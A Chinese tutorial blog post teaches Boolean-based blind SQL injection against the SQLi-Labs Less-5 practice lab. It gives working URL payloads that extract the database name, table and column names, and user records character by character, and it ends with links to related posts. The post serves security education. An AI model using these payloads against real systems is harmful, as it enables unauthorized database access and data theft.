SQL注入之Boolean型盲注
什么是Boolean型注入
Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。
Boolean型注入实战
这儿以SQLi-Labs less5来进行演示Boolean型盲注实战。
首先查看是否存在注入点
构造payload http://43.247.91.228:84/Less-5/?id=1

加个单引号 http://43.247.91.228:84/Less-5/?id=1'

数据库报错说明存在注入点
接下来来看看数据库的长度,构造payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

页面回显不正常,在进行尝试到8时回显正常
payload http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

回显正常说明数据库长度为8
猜测数据库的第一位
payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

回显正常,说明数据库第一个字母大于a,然后再试后面的字母和数字(可以用二分法来节约时间)最后确定第一位为s。
再猜测数据库的第二位
构造payload为 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

说明第二位大于a,在进行测试,得到第二位为e。
得到database()=security
然后来获取这个数据库下的第一个表的第一个字段
http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

第一个为e,继续操作得到表名为email
接着获取第二个表,将limit0,1改为limit1,1,查询出第二个表为referers
重复这个步骤,获取所有表的名字。
然后使用regexp来获取user中的列
http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+
回显正常说明表中有us开头的列
http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

说明有username存在,然后在查询password等其他的列。
然后再来获取users表的内容
http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+
试出了username第一行的第一个字符ascii为68,即为D,然后继续查询第一行数据为Dumb。
再用这个方法查询其他列获得数据,便可完成注入。
盲注的过程比较繁琐,手工实现的话比较费时间,我们可以通过写脚本来实现盲注。
但是对于盲注的原理我们还是要深入理解的。
SQL注入之Boolean型盲注的更多相关文章
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...
- 【Python】测试布尔型盲注脚本
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...
- 大哥带我们的mysql注入 基于时间的盲注
?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ...
- SQL注入(字符型)
靶场:sqli-labs @SQLi最重要的一点:别上来就对着输入框注入,完整语句写出来,始终在语句中写完整的,最后把完整的一部分截取出来作为输入 @URL编码:为避免歧义,URL中,如 %2b ...
- SQL注入(bool型)
sqli-labs 靶场https://blog.csdn.net/qq_41420747/article/details/81836327 教程+靶场 1. https://blog.csdn.ne ...
- 网站SQL注入之数字型注入和字符型注入
什么是SQL注入- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.1,是一种将SQL语句插入或添加到应用(用户)的 ...
- 大哥带我们的mysql注入 基于bool的盲注
盲注 那么我们来了解一点盲注的语法 这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据 ...
- 【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)
' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注 ...
- web安全之sql注入报错型注入
前提: echo mysql_error(),输出错误信息. 熟悉的函数: floor()向下取整 concat()返回的字符串参数连接的结果 count()函数返回匹配指定条件的行数 rand()函 ...
随机推荐
- 关于URL优化的一些经验
URL在搜索结果列表中时显示内容之一.设计网站结构时需要对目录及文件命名系统做事先规划.总的原则是首先从用户体验出发,URL应该清晰友好.方便记忆,然后才考虑URL对排名的影响.具体可以考虑以下几个方 ...
- JAVASE(十六) IO流 :File类、节点流、缓冲流、转换流、编码集、对象流
个人博客网:https://wushaopei.github.io/ (你想要这里多有) 1.File类型 1.1.File类的理解 File类是在java.io包下 File可以理解成一个文件 ...
- Java实现 LeetCode 823 带因子的二叉树(DP)
823. 带因子的二叉树 给出一个含有不重复整数元素的数组,每个整数均大于 1. 我们用这些整数来构建二叉树,每个整数可以使用任意次数. 其中:每个非叶结点的值应等于它的两个子结点的值的乘积. 满足条 ...
- Java实现 LeetCode 401 二进制手表
401. 二进制手表 二进制手表顶部有 4 个 LED 代表小时(0-11),底部的 6 个 LED 代表分钟(0-59). 每个 LED 代表一个 0 或 1,最低位在右侧. 例如,上面的二进制手表 ...
- java实现第六届蓝桥杯五星填数
五星填数 如[图1.png]的五星图案节点填上数字:1~12,除去7和11. 要求每条直线上数字和相等. 如图就是恰当的填法. 请你利用计算机搜索所有可能的填法有多少种. 注意:旋转或镜像后相同的算同 ...
- java实现第七届蓝桥杯凑平方数
凑平方数 把0~9这10个数字,分成多个组,每个组恰好是一个平方数,这是能够办到的. 比如:0, 36, 5948721 再比如: 1098524736 1, 25, 6390784 0, 4, 28 ...
- 重学 Java 设计模式:实战桥接模式(多支付渠道「微信、支付宝」与多支付模式「刷脸、指纹」场景)
作者:小傅哥 博客:https://bugstack.cn - 编写系列原创专题文章 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 为什么你的代码那么多ifelse 同类的业务.同样的功能, ...
- java关键字volatile用法详解
volatile关键字想必大家都不陌生,在java 5之前有着挺大的争议,在java 5之后才逐渐被大家接受,同时作为java的关键字之一,其作用自然是不可小觑的,要知道它是java.util.con ...
- Action的三种实现方式,struts.xml配置的详细解释及其简单执行过程(二)
勿以恶小而为之,勿以善小而不为--------------------------刘备 劝诸君,多行善事积福报,莫作恶 上一章简单介绍了Struts2的'两个蝴蝶飞,你好' (一),如果没有看过,请观 ...
- 171.Excel列表序号
2020-03-17 Excel表列序号 A -> 1. B -> 2 Z -> 26 AA -> 27 ZY -> 701 示例: 输入: s = "LEET ...